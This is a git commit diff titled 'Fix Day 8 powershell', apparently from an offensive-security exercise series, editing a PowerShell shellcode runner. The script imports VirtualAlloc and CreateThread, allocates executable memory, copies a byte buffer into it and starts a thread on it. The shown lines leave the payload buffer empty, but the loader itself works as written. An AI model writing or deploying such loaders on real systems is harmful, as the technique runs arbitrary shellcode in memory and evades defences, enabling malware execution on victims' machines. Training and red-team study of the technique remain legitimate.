Fix Day 8 powershell

This commit is contained in:
Sivert V. Sæther 2024-12-11 20:50:29 +01:00
parent 9c9e571d69
commit 427fd108d1

View File

@ -1,4 +1,4 @@
$Shell = "" [Byte[]] $buf =
Add-Type @" Add-Type @"
public class Win public class Win
{ {
@ -12,7 +12,6 @@ public class Win
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
} }
"@ "@
[Byte[]] $buf = $Shell
[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40) [IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0) $thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)